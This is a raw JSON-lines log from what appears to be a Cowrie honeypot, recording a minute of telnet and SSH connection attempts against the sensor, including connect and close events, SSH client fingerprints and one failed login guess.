{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":38852,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e13757fbe1b","protocol":"telnet","message":"New connection: 162.55.233.176:38852 (159.203.135.109:23) [session: 3e13757fbe1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:16:06.222824Z"}
{"eventid":"cowrie.session.closed","duration":36.29479503631592,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:16:06.856805Z","src_ip":"162.55.233.176","session":"36daf19f5e1a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":38866,"dst_ip":"159.203.135.109","dst_port":23,"session":"ddafaf6ebb56","protocol":"telnet","message":"New connection: 162.55.233.176:38866 (159.203.135.109:23) [session: ddafaf6ebb56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:16:06.941309Z"}
{"eventid":"cowrie.session.closed","duration":43.444523096084595,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:16:07.776057Z","src_ip":"162.55.233.176","session":"ea6e1289dbba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.60046744346619,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:16:08.000098Z","src_ip":"162.55.233.176","session":"587d8674841e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.932921409606934,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:16:09.624234Z","src_ip":"162.55.233.176","session":"d260fd731499","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.42915105819702,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:16:12.949436Z","src_ip":"162.55.233.176","session":"83c9bde33b31","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.991700410842896,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:16:14.109619Z","src_ip":"162.55.233.176","session":"7112e40df726","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":40868,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc7f3642feda","protocol":"telnet","message":"New connection: 162.55.233.176:40868 (159.203.135.109:23) [session: bc7f3642feda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:16:14.633604Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":40872,"dst_ip":"159.203.135.109","dst_port":23,"session":"745d25f01403","protocol":"telnet","message":"New connection: 162.55.233.176:40872 (159.203.135.109:23) [session: 745d25f01403]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:16:14.997448Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":45058,"dst_ip":"10.17.0.5","dst_port":23,"session":"02cfb7936b65","protocol":"telnet","message":"New connection: 188.208.141.113:45058 (10.17.0.5:23) [session: 02cfb7936b65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:16:15.779766Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":40878,"dst_ip":"159.203.135.109","dst_port":23,"session":"3436e7616744","protocol":"telnet","message":"New connection: 162.55.233.176:40878 (159.203.135.109:23) [session: 3436e7616744]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:16:16.216567Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":45068,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc278327b085","protocol":"telnet","message":"New connection: 188.208.141.113:45068 (10.17.0.5:23) [session: fc278327b085]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:16:16.645443Z"}
{"eventid":"cowrie.session.closed","duration":30.981802940368652,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:16:16.681237Z","src_ip":"162.55.233.176","session":"797c4188649a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.754353046417236,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:16:20.561298Z","src_ip":"162.55.233.176","session":"43e5a538ca10","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.797651052474976,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:16:22.030083Z","src_ip":"162.55.233.176","session":"bad62821b1c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":40880,"dst_ip":"159.203.135.109","dst_port":23,"session":"a5e726366036","protocol":"telnet","message":"New connection: 162.55.233.176:40880 (159.203.135.109:23) [session: a5e726366036]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:16:22.049202Z"}
{"eventid":"cowrie.session.closed","duration":35.50277829170227,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:16:23.013140Z","src_ip":"162.55.233.176","session":"b0657c28fa52","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":33368,"dst_ip":"159.203.135.109","dst_port":23,"session":"737acb8c8f1c","protocol":"telnet","message":"New connection: 162.55.233.176:33368 (159.203.135.109:23) [session: 737acb8c8f1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:16:23.181430Z"}
{"eventid":"cowrie.session.closed","duration":31.11860704421997,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:16:23.845505Z","src_ip":"162.55.233.176","session":"c3321f283607","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.02302575111389,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:16:23.893809Z","src_ip":"188.208.141.113","session":"a0e6ba703bef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":36738,"dst_ip":"10.17.0.5","dst_port":23,"session":"19d5db928ff2","protocol":"telnet","message":"New connection: 188.208.141.113:36738 (10.17.0.5:23) [session: 19d5db928ff2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:16:24.165836Z"}
{"eventid":"cowrie.session.closed","duration":7.684644460678101,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:16:24.329981Z","src_ip":"188.208.141.113","session":"fc278327b085","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":33372,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e0f11f26352","protocol":"telnet","message":"New connection: 162.55.233.176:33372 (159.203.135.109:23) [session: 5e0f11f26352]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:16:27.604940Z"}
{"eventid":"cowrie.session.closed","duration":43.96245336532593,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:16:28.000206Z","src_ip":"188.208.141.113","session":"2dd67c12d09e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.114476919174194,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:16:28.187589Z","src_ip":"206.189.32.23","session":"3ef5710ab1ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":33376,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe7cfe3fd63b","protocol":"telnet","message":"New connection: 162.55.233.176:33376 (159.203.135.109:23) [session: fe7cfe3fd63b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:16:28.429606Z"}
{"eventid":"cowrie.session.closed","duration":31.129320859909058,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:16:32.642513Z","src_ip":"162.55.233.176","session":"ab5b739549fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":47972,"dst_ip":"159.203.135.109","dst_port":23,"session":"794e89be9d4c","protocol":"telnet","message":"New connection: 162.55.233.176:47972 (159.203.135.109:23) [session: 794e89be9d4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:16:32.909222Z"}
{"eventid":"cowrie.session.closed","duration":37.720155000686646,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:16:33.134073Z","src_ip":"162.55.233.176","session":"b75deec4fc5e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.466774702072144,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:16:34.812739Z","src_ip":"206.189.32.23","session":"d10499a27184","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":47988,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc2ba732758e","protocol":"telnet","message":"New connection: 162.55.233.176:47988 (159.203.135.109:23) [session: bc2ba732758e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:16:35.156559Z"}
{"eventid":"cowrie.session.closed","duration":32.92458772659302,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:16:37.940486Z","src_ip":"162.55.233.176","session":"13eae8f3657b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.73475980758667,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:16:37.957478Z","src_ip":"162.55.233.176","session":"3e13757fbe1b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.9809947013855,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:16:38.351504Z","src_ip":"162.55.233.176","session":"803128cc9f47","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.05327534675598,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:16:39.798613Z","src_ip":"188.208.141.113","session":"a1fec31bb307","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":47992,"dst_ip":"159.203.135.109","dst_port":23,"session":"8bab2094a274","protocol":"telnet","message":"New connection: 162.55.233.176:47992 (159.203.135.109:23) [session: 8bab2094a274]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:16:40.491669Z"}
{"eventid":"cowrie.session.closed","duration":40.43525195121765,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:16:41.503306Z","src_ip":"188.208.141.113","session":"e4ae5841c0ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":48004,"dst_ip":"159.203.135.109","dst_port":23,"session":"9ed014b50e6e","protocol":"telnet","message":"New connection: 162.55.233.176:48004 (159.203.135.109:23) [session: 9ed014b50e6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:16:41.551492Z"}
{"eventid":"cowrie.session.closed","duration":36.86145091056824,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:16:43.802657Z","src_ip":"162.55.233.176","session":"ddafaf6ebb56","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":43310,"dst_ip":"10.17.0.5","dst_port":23,"session":"e817fe220113","protocol":"telnet","message":"New connection: 188.208.141.113:43310 (10.17.0.5:23) [session: e817fe220113]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:16:45.111243Z"}
{"eventid":"cowrie.session.closed","duration":31.756416082382202,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:16:46.753727Z","src_ip":"162.55.233.176","session":"745d25f01403","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.70994830131531,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:16:47.343446Z","src_ip":"162.55.233.176","session":"bc7f3642feda","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46440,"dst_ip":"159.203.135.109","dst_port":23,"session":"437e12902949","protocol":"telnet","message":"New connection: 162.55.233.176:46440 (159.203.135.109:23) [session: 437e12902949]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:16:49.583032Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46456,"dst_ip":"159.203.135.109","dst_port":23,"session":"e2e83f97969d","protocol":"telnet","message":"New connection: 162.55.233.176:46456 (159.203.135.109:23) [session: e2e83f97969d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:16:49.880926Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46464,"dst_ip":"159.203.135.109","dst_port":23,"session":"47a485d94e05","protocol":"telnet","message":"New connection: 162.55.233.176:46464 (159.203.135.109:23) [session: 47a485d94e05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:16:50.352726Z"}
{"eventid":"cowrie.session.closed","duration":34.7320454120636,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:16:50.948499Z","src_ip":"162.55.233.176","session":"3436e7616744","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46466,"dst_ip":"159.203.135.109","dst_port":23,"session":"86569e43e74d","protocol":"telnet","message":"New connection: 162.55.233.176:46466 (159.203.135.109:23) [session: 86569e43e74d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:16:51.253670Z"}
{"eventid":"cowrie.session.closed","duration":50.361199378967285,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:16:53.026033Z","src_ip":"206.189.32.23","session":"f4ac5c2b4994","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":33272,"dst_ip":"159.203.135.109","dst_port":23,"session":"646b9e700a9c","protocol":"telnet","message":"New connection: 162.55.233.176:33272 (159.203.135.109:23) [session: 646b9e700a9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:16:53.056901Z"}
{"eventid":"cowrie.session.closed","duration":32.31213068962097,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:16:54.361248Z","src_ip":"162.55.233.176","session":"a5e726366036","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.293492317199707,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:16:54.474803Z","src_ip":"162.55.233.176","session":"737acb8c8f1c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.09086346626282,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:16:57.870516Z","src_ip":"188.208.141.113","session":"02cfb7936b65","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":33280,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f051b7ffa7b","protocol":"telnet","message":"New connection: 162.55.233.176:33280 (159.203.135.109:23) [session: 7f051b7ffa7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:16:58.602494Z"}
{"eventid":"cowrie.session.closed","duration":32.42288017272949,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:17:00.852401Z","src_ip":"162.55.233.176","session":"fe7cfe3fd63b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.73090124130249,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:17:02.335752Z","src_ip":"162.55.233.176","session":"5e0f11f26352","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.41560959815979,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:17:04.324704Z","src_ip":"162.55.233.176","session":"794e89be9d4c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":47570,"dst_ip":"159.203.135.109","dst_port":23,"session":"998c224eee4b","protocol":"telnet","message":"New connection: 162.55.233.176:47570 (159.203.135.109:23) [session: 998c224eee4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:17:05.010834Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":47576,"dst_ip":"159.203.135.109","dst_port":23,"session":"41ee4f325d0b","protocol":"telnet","message":"New connection: 162.55.233.176:47576 (159.203.135.109:23) [session: 41ee4f325d0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:17:05.126266Z"}
{"eventid":"cowrie.session.closed","duration":31.623296976089478,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:17:06.779737Z","src_ip":"162.55.233.176","session":"bc2ba732758e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.953338623046875,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:17:08.119045Z","src_ip":"188.208.141.113","session":"19d5db928ff2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":34810,"dst_ip":"10.17.0.5","dst_port":23,"session":"77625610f323","protocol":"telnet","message":"New connection: 206.189.32.23:34810 (10.17.0.5:23) [session: 77625610f323]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:17:09.435741Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":51322,"dst_ip":"10.17.0.5","dst_port":23,"session":"8cf0bed39843","protocol":"telnet","message":"New connection: 188.208.141.113:51322 (10.17.0.5:23) [session: 8cf0bed39843]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:17:12.647949Z"}
{"eventid":"cowrie.session.closed","duration":33.51307535171509,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:17:14.004617Z","src_ip":"162.55.233.176","session":"8bab2094a274","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.170.173.26","src_port":35856,"dst_ip":"159.203.135.109","dst_port":22,"session":"d1a6db98e87d","protocol":"ssh","message":"New connection: 103.170.173.26:35856 (159.203.135.109:22) [session: d1a6db98e87d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:17:16.983258Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:17:16.988109Z","src_ip":"103.170.173.26","session":"d1a6db98e87d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:17:17.250345Z","src_ip":"103.170.173.26","session":"d1a6db98e87d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.83.114.49","src_port":26806,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b5134cefcc4","protocol":"telnet","message":"New connection: 190.83.114.49:26806 (10.17.0.5:23) [session: 8b5134cefcc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:17:17.852992Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"asdfg12345","message":"login attempt [ubuntu/asdfg12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:17:18.328716Z","src_ip":"103.170.173.26","session":"d1a6db98e87d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:17:19.593718Z","src_ip":"103.170.173.26","session":"d1a6db98e87d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.68742275238037,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:17:20.238791Z","src_ip":"162.55.233.176","session":"9ed014b50e6e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.912724494934082,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:17:20.793531Z","src_ip":"162.55.233.176","session":"e2e83f97969d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.732451915740967,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:17:21.315390Z","src_ip":"162.55.233.176","session":"437e12902949","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.249783515930176,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:17:22.503342Z","src_ip":"162.55.233.176","session":"86569e43e74d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.55857753753662,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:17:23.911233Z","src_ip":"162.55.233.176","session":"47a485d94e05","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.88031601905823,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:17:23.991430Z","src_ip":"188.208.141.113","session":"e817fe220113","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51008,"dst_ip":"159.203.135.109","dst_port":23,"session":"df29865978b9","protocol":"telnet","message":"New connection: 162.55.233.176:51008 (159.203.135.109:23) [session: df29865978b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:17:24.348917Z"}
{"eventid":"cowrie.session.closed","duration":31.610031843185425,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:17:24.666824Z","src_ip":"162.55.233.176","session":"646b9e700a9c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":39576,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd6bb6ea3f06","protocol":"ssh","message":"New connection: 2.57.122.238:39576 (10.17.0.5:22) [session: cd6bb6ea3f06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:17:26.221076Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:17:26.225768Z","src_ip":"2.57.122.238","session":"cd6bb6ea3f06","protocol":"ssh"}
